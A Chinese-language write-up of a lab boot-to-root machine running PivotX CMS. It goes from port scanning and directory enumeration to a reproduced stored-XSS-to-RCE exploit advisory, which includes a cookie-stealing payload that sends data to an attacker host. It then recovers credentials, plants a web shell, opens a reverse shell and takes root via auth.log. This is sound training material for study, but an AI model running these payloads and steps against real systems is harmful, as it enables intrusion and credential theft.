信息收集
bash
$ nmap -p- 192.168.31.34 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-10 06:47 EST
Nmap scan report for Base (192.168.31.34)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:D6:7C:C0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.55 seconds
这里有版本号
bash
$ searchsploit PivotX 3.0.0 RC3
--------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PivotX 3.0.0 RC3 - Remote Code Execution (RCE) | multiple/webapps/52361.txt
--------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results可以很明显看到这里有个 RCE 的漏洞
bash
$ searchsploit -m 52361
Exploit: PivotX 3.0.0 RC3 - Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/52361
Path: /usr/share/exploitdb/exploits/multiple/webapps/52361.txt
Codes: CVE-2025-52367
Verified: False
File Type: HTML document, Unicode text, UTF-8 text
Copied to: /home/dingtom/workspace/52361.txt
$ cat 52361.txt
# Exploit Title: PivotX v3.0.0 RC3 - Stored XSS to Remote Code Execution (RCE)
# Date: July 2025
# Exploit Author: HayToN
# Vendor Homepage: https://github.com/pivotx
# Software Link: https://github.com/pivotx/PivotX
# Version: 3.0.0 RC3
# Tested on: Debian 11, PHP 7.4
# CVE : CVE-2025-52367
## Vulnerability Type:
Stored Cross-Site Scripting (XSS) in the "title" and "subtitle" fields of page creation. The input is not sanitized and is stored directly to disk via PHP serialize().
## Root Cause:
In 'modules/pages_flat.php', function 'savePage($page)' stores page data via 'saveSerialize()' without any sanitization. The stored values are later rendered in the admin panel without escaping.
Only the 'body' and 'introduction' fields are passed through TinyMCE (which encodes HTML). 'title' and 'subtitle' are rendered as raw HTML.
Note: If you are already admin, skip steps 1-7
## Exploitation Steps:
1. Login as an authenticated user (normal user, no need for admin).
2. Create a new Page via the dashboard, located at http://IP/PivotX/pivotx/index.php?page=page
3. Create locally a JavaScript file contaning cookie stealing code.
For example: lol.js
Containing:
document.location = ' http://LOCAL_IP/bruh?c=' + document.cookie;
4. In the "Subtitle" field, input the following payload(Be sure to change the file name as yours):
<script src="http://LOCAL_IP/lol.js"></script>
5. Publish the page.
6. When an admin views the published page in the blog, the XSS will execute in the admin’s context.
7. Using this XSS, send a payload to steal the admin's cookies, then insert the cookies on your site.
8. Navigate as admin, to http://IP/PivotX/pivotx/index.php?page=homeexplore, where you can edit index.php file
9. Edit index.php file to any php file you want to gain RCE on the target, could be with reverse shell or any other method.
10. Visit http://IP/PivotX/index.php and you should get a reverse shell :)
# Full research - https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3根据提示我们至少需要一个用户,或者得到admin用户的凭证
扫描一下目录结构
bash
$ feroxbuster -u ' http://192.168.31.34/' -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --random-agent -x php,html,txt -C 404,502 -q
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 323c http://192.168.31.34/pivotx/modules => http://192.168.31.34/pivotx/modules/
200 GET 0l 0w 0c http://192.168.31.34/pivotx/pages.php
200 GET 0l 0w 0c http://192.168.31.34/pivotx/data.php
301 GET 9l 28w 315c http://192.168.31.34/pivotx => http://192.168.31.34/pivotx/
301 GET 9l 28w 320c http://192.168.31.34/pivotx/pics => http://192.168.31.34/pivotx/pics/
200 GET 0l 0w 0c http://192.168.31.34/pivotx/forms.php
301 GET 9l 28w 324c http://192.168.31.34/pivotx/includes => http://192.168.31.34/pivotx/includes/
200 GET 0l 0w 0c http://192.168.31.34/pivotx/lib.php
301 GET 9l 28w 325c http://192.168.31.34/pivotx/templates => http://192.168.31.34/pivotx/templates/
301 GET 9l 28w 322c http://192.168.31.34/pivotx/vendor => http://192.168.31.34/pivotx/vendor/
200 GET 0l 0w 0c http://192.168.31.34/pivotx/vendor/autoload.php
200 GET 0l 0w 0c http://192.168.31.34/pivotx/vendor/composer/autoload_classmap.php
301 GET 9l 28w 326c http://192.168.31.34/pivotx/extensions => http://192.168.31.34/pivotx/extensions/
200 GET 139l 282w 2183c http://192.168.31.34/pivotx/templates_internal/assets/pivotx_docs.css
200 GET 6l 20w 1121c http://192.168.31.34/pivotx/templates_internal/assets/mainmenu_top.png
200 GET 9l 13w 457c http://192.168.31.34/pivotx/templates_internal/assets/Jcrop.gif
200 GET 3l 10w 276c http://192.168.31.34/pivotx/templates_internal/assets/body_bg.png
200 GET 5l 27w 1748c http://192.168.31.34/pivotx/templates_internal/assets/m_submenu.png
200 GET 5l 15w 347c http://192.168.31.34/pivotx/templates_internal/assets/arrows-ffffff.png
200 GET 7l 15w 1047c http://192.168.31.34/pivotx/templates_internal/assets/bookmarklet_bg.jpg
200 GET 11l 16w 202c http://192.168.31.34/pivotx/templates_internal/
200 GET 11l 16w 202c http://192.168.31.34/pivotx/templates_internal/index.html
200 GET 313l 708w 9106c http://192.168.31.34/pivotx/index.php
200 GET 453l 876w 7735c http://192.168.31.34/pivotx/templates_internal/assets/m_pivotx.css
200 GET 29l 241w 6142c http://192.168.31.34/pivotx/templates_internal/assets/tripoli.simple.css
301 GET 9l 28w 341c http://192.168.31.34/pivotx/templates_internal/mobile => http://192.168.31.34/pivotx/templates_internal/mobile/
200 GET 140l 304w 4453c http://192.168.31.34/pivotx/templates_internal/mobile/inc_header.tpl
200 GET 51l 144w 1998c http://192.168.31.34/pivotx/templates_internal/mobile/pages.tpl
200 GET 132l 436w 6149c http://192.168.31.34/pivotx/templates_internal/mobile/home.tpl
200 GET 38l 127w 1198c http://192.168.31.34/pivotx/templates_internal/mobile/generic.tpl
200 GET 15l 31w 251c http://192.168.31.34/pivotx/templates_internal/mobile/inc_footer.tpl
200 GET 112l 327w 4433c http://192.168.31.34/pivotx/templates_internal/mobile/editpage.tpl
200 GET 51l 136w 1905c http://192.168.31.34/pivotx/templates_internal/mobile/entries.tpl
200 GET 41l 132w 1819c http://192.168.31.34/pivotx/templates_internal/mobile/comments.tpl
200 GET 106l 322w 4507c http://192.168.31.34/pivotx/templates_internal/mobile/editentry.tpl
200 GET 68l 155w 2071c http://192.168.31.34/pivotx/templates_internal/mobile/editcomment.tpl
200 GET 29l 179w 1168c http://192.168.31.34/pivotx/templates_internal/mobile/about.tpl
301 GET 9l 28w 341c http://192.168.31.34/pivotx/templates_internal/assets => http://192.168.31.34/pivotx/templates_internal/assets/
200 GET 4l 21w 1107c http://192.168.31.34/pivotx/pics/error.png
200 GET 220l 584w 5493c http://192.168.31.34/pivotx/includes/js/m_pivotx.js
200 GET 23l 111w 8779c http://192.168.31.34/pivotx/templates_internal/assets/m_pivotx.png
200 GET 33l 63w 683c http://192.168.31.34/pivotx/index.html
301 GET 9l 28w 318c http://192.168.31.34/pivotx/db => http://192.168.31.34/pivotx/db/
200 GET 57l 93w 1699c http://192.168.31.34/pivotx/vendor/composer/installed.json
200 GET 0l 0w 0c http://192.168.31.34/pivotx/vendor/composer/autoload_static.php
200 GET 0l 0w 0c http://192.168.31.34/pivotx/objects.php
200 GET 0l 0w 0c http://192.168.31.34/pivotx/vendor/composer/autoload_real.php
200 GET 21l 168w 1070c http://192.168.31.34/pivotx/vendor/composer/LICENSE
200 GET 0l 0w 0c http://192.168.31.34/pivotx/vendor/composer/ClassLoader.php
200 GET 0l 0w 0c http://192.168.31.34/pivotx/vendor/composer/autoload_namespaces.php
200 GET 0l 0w 0c http://192.168.31.34/pivotx/vendor/composer/autoload_psr4.php
200 GET 11l 16w 202c http://192.168.31.34/pivotx/modules/index.html
200 GET 172l 363w 3466c http://192.168.31.34/pivotx/templates_internal/assets/debugbar.css
200 GET 6l 84w 2641c http://192.168.31.34/pivotx/templates_internal/assets/shadow.png
200 GET 4l 14w 497c http://192.168.31.34/pivotx/templates_internal/assets/header_bg.png
200 GET 2l 1245w 93436c http://192.168.31.34/pivotx/includes/js/jquery-1.8.2.min.js
301 GET 9l 28w 315c http://192.168.31.34/images => http://192.168.31.34/images/
200 GET 1l 6w 2483c http://192.168.31.34/pivotx/pics/favicon.ico
200 GET 203l 748w 9313c http://192.168.31.34/
200 GET 11l 16w 202c http://192.168.31.34/pivotx/includes/index.html
200 GET 11l 16w 202c http://192.168.31.34/pivotx/db/index.html
200 GET 0l 0w 0c http://192.168.31.34/pivotx/offline.php
200 GET 0l 0w 0c http://192.168.31.34/pivotx/db/pages/page_1.php
301 GET 9l 28w 324c http://192.168.31.34/pivotx/db/pages => http://192.168.31.34/pivotx/db/pages/
301 GET 9l 28w 324c http://192.168.31.34/pivotx/db/users => http://192.168.31.34/pivotx/db/users/
200 GET 0l 0w 0c http://192.168.31.34/pivotx/db/pages/pages.php
200 GET 0l 0w 0c http://192.168.31.34/pivotx/db/pages/page_2.php
200 GET 2l 4w 33c http://192.168.31.34/robots.txt
200 GET 203l 748w 9313c http://192.168.31.34/pivotx/render.php
500 GET 0l 0w 0c http://192.168.31.34/pivotx/db/cache/%25%2511%5e111%5e111C95F7%25%25db%253Aeca2641ba5.php
301 GET 9l 28w 324c http://192.168.31.34/pivotx/db/cache => http://192.168.31.34/pivotx/db/cache/
500 GET 0l 0w 0c http://192.168.31.34/pivotx/db/cache/%25%25A7%5eA7D%5eA7D661A4%25%25inc_header.tpl.php
200 GET 3l 32w 271c http://192.168.31.34/pivotx/db/cache/%25%25E3%5eE31%5eE310EE6D%25%25db%253Atpl_493584ba92.php
500 GET 0l 0w 0c http://192.168.31.34/pivotx/db/cache/%25%255E%5e5E6%5e5E655575%25%25inc_footer.tpl.php
500 GET 3l 0w 3c http://192.168.31.34/pivotx/db/cache/%25%25DA%5eDA5%5eDA53A20B%25%25modal.tpl.php
200 GET 5l 45w 269c http://192.168.31.34/pivotx/db/cache/%25%2549%5e497%5e49741DC0%25%25db%253Atpl_4d536e9447.php
200 GET 18l 58w 801c http://192.168.31.34/pivotx/templates/mobile/_sub_header.tpl
200 GET 7l 49w 290c http://192.168.31.34/pivotx/templates/mobile/installation.txt
200 GET 1l 62w 2670c http://192.168.31.34/pivotx/templates/mobile/mobile.theme
500 GET 0l 0w 0c http://192.168.31.34/pivotx/db/cache/%25%25C0%5eC0D%5eC0DFF6A7%25%25placeholder.tpl.php
200 GET 11l 16w 212c http://192.168.31.34/images/index.html
301 GET 9l 28w 332c http://192.168.31.34/pivotx/templates/mobile => http://192.168.31.34/pivotx/templates/mobile/
200 GET 33l 124w 1257c http://192.168.31.34/pivotx/templates/mobile/page.tpl
200 GET 130l 278w 2416c http://192.168.31.34/pivotx/templates/mobile/style.css
200 GET 107l 621w 51582c http://192.168.31.34/pivotx/templates/mobile/mobile.jpg
500 GET 0l 0w 0c http://192.168.31.34/pivotx/db/cache/%25%25E1%5eE1A%5eE1A19F2E%25%25_sub_sidebar.tpl.php
500 GET 0l 0w 0c http://192.168.31.34/pivotx/db/cache/%25%2550%5e506%5e506BB4F7%25%25front.tpl.php
301 GET 9l 28w 334c http://192.168.31.34/pivotx/includes/emoticons => http://192.168.31.34/pivotx/includes/emoticons/
301 GET 9l 28w 327c http://192.168.31.34/pivotx/includes/js => http://192.168.31.34/pivotx/includes/js/
200 GET 87l 144w 2317c http://192.168.31.34/pivotx/templates/mobile/_sub_footer.tpl
200 GET 90l 2488w 14900c http://192.168.31.34/LICENSE.txt
301 GET 9l 28w 331c http://192.168.31.34/pivotx/includes/editor => http://192.168.31.34/pivotx/includes/editor/
200 GET 22l 104w 855c http://192.168.31.34/pivotx/templates/404.html
200 GET 0l 0w 0c http://192.168.31.34/pivotx/includes/ping.php
200 GET 45l 152w 1335c http://192.168.31.34/pivotx/templates/error.html
200 GET 0l 0w 0c http://192.168.31.34/pivotx/includes/blogroll.php
301 GET 9l 28w 330c http://192.168.31.34/pivotx/modules/smarty => http://192.168.31.34/pivotx/modules/smarty/
301 GET 9l 28w 330c http://192.168.31.34/pivotx/modules/moblog => http://192.168.31.34/pivotx/modules/moblog/
200 GET 0l 0w 0c http://192.168.31.34/pivotx/includes/compat.php
200 GET 11l 16w 202c http://192.168.31.34/pivotx/modules/moblog/index.html
200 GET 0l 0w 0c http://192.168.31.34/pivotx/modules/moblog/pear.php
500 GET 0l 0w 0c http://192.168.31.34/pivotx/modules/moblog/socket.php
无法注册,那应该就是尝试爆破 admin 用户了
然后爆破了半天发现被lock IP,而且爆破出结果,应该是真lock,那么我们可以得知应该直接 RCE 是走不通了
那我们继续信息收集,尝试把目录爆破的范围再次放大
bash
$ feroxbuster -u ' http://192.168.31.34/' -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --random-agent -x php,html,txt,db,zip,rar -b 404,502 -q把结果扔给 ai 来处理一下,属实有点多

ok 有个 user.db

hungry:aHVuZ3J5有个凭证,但是我们现在被 banip 了所以我们重新导入一下机器(图方便)
然后发现登不上
之后测出这是 ssh 的凭据
提权
To www-data
bash
hungry@Base:~$ id
uid=1000(hungry) gid=1000(hungry) groups=1000(hungry)
hungry@Base:~$ cat user.txt
flag{user-051a0db9a92e4dacc70212da32fd0638}
hungry@Base:/var/www/html$ cat creds.txt
guest:guest
admin:YWRtaW*=然后这玩意也登不上,这看起来是个 base64 样子的,让试出来中间的字符吗?
dbase64.sh
bash
#!/bin/bash
base64_str="YWRtaW*="
charset="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
echo "暴力破解 Base64: $base64_str"
echo "可能的解码结果:"
for char in $(echo $charset | fold -w1); do
test_str="${base64_str/\*/$char}"
decoded=$(echo -n "$test_str" | base64 -d 2>/dev/null)
# 如果解码成功且为可打印文本
if [ $? -eq 0 ] && [[ "$decoded" =~ ^[[:print:]]+$ ]]; then
printf "字符 '%s': Base64=%s -> 解码=\"%s\"\n" "$char" "$test_str" "$decoded"
fi
donebash
$ bash dbase64.sh
暴力破解 Base64: YWRtaW*=
可能的解码结果:
字符 'A': Base64=YWRtaWA= -> 解码="admi`"
字符 'E': Base64=YWRtaWE= -> 解码="admia"
字符 'I': Base64=YWRtaWI= -> 解码="admib"
字符 'M': Base64=YWRtaWM= -> 解码="admic"
字符 'Q': Base64=YWRtaWQ= -> 解码="admid"
字符 'U': Base64=YWRtaWU= -> 解码="admie"
字符 'Y': Base64=YWRtaWY= -> 解码="admif"
字符 'c': Base64=YWRtaWc= -> 解码="admig"
字符 'g': Base64=YWRtaWg= -> 解码="admih"
字符 'k': Base64=YWRtaWk= -> 解码="admii"
字符 'o': Base64=YWRtaWo= -> 解码="admij"
字符 's': Base64=YWRtaWs= -> 解码="admik"
字符 'w': Base64=YWRtaWw= -> 解码="admil"
字符 '0': Base64=YWRtaW0= -> 解码="admim"
字符 '4': Base64=YWRtaW4= -> 解码="admin"
字符 '8': Base64=YWRtaW8= -> 解码="admio"感觉应该是 admin 的base64编码形式,所以尝试 YWRtaW4=
成功进来
参考上面漏洞的利用步骤
访问 http://192.168.31.140/pivotx/index.php?page=homeexplore 这个文件管理器 编辑 index.php
然后写进去个 p0wny-shell.php

busybox 弹个 shell
To root
bash
(remote) www-data@Base:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)有个 adm 组
能看系统日志文件(如 /var/log/syslog)
bash
(remote) www-data@Base:/var/log$ cat /var/log/auth.log | grep "pass"
Jan 10 08:10:43 Base sshd[568]: Accepted password for hungry from 192.168.31.187 port 36142 ssh2
(remote) www-data@Base:/var/log$ cat /var/log/auth.log.1 | grep "pass"
Jul 19 23:59:05 moban passwd[528]: pam_unix(passwd:chauthtok): password changed for root
Jul 19 23:58:27 moban sudo[381]: root : password changed to 'dG9kZA==
Jul 20 00:05:17 moban sshd[548]: Accepted password for root from 192.168.3.94 port 60280 ssh2
Jul 20 00:10:50 moban passwd[831]: pam_unix(passwd:chauthtok): password changed for hungry
Jul 20 00:30:55 moban passwd[1026]: pam_unix(passwd:chauthtok): password changed for hungry
Jul 20 00:31:43 moban sshd[1031]: Accepted password for root from 192.168.3.94 port 36218 ssh2
Jul 20 00:32:02 moban passwd[1044]: pam_unix(passwd:chauthtok): password changed for root
Jul 20 00:44:17 Base sshd[433]: Accepted password for root from 192.168.3.94 port 47964 ssh2
Jul 20 00:52:12 Base sshd[433]: Accepted password for root from 192.168.3.94 port 55854 ssh2bash
(remote) www-data@Base:/var/log$ su
Password: dG9kZA==
____
| __ ) __ _ ___ ___
| _ \ / _` / __|/ _ \
| |_) | (_| \__ \ __/
|____/ \__,_|___/\___|
root@Base:/var/log# cd
root@Base:~# ls
root.txt
root@Base:~# cat root.txt
flag{root}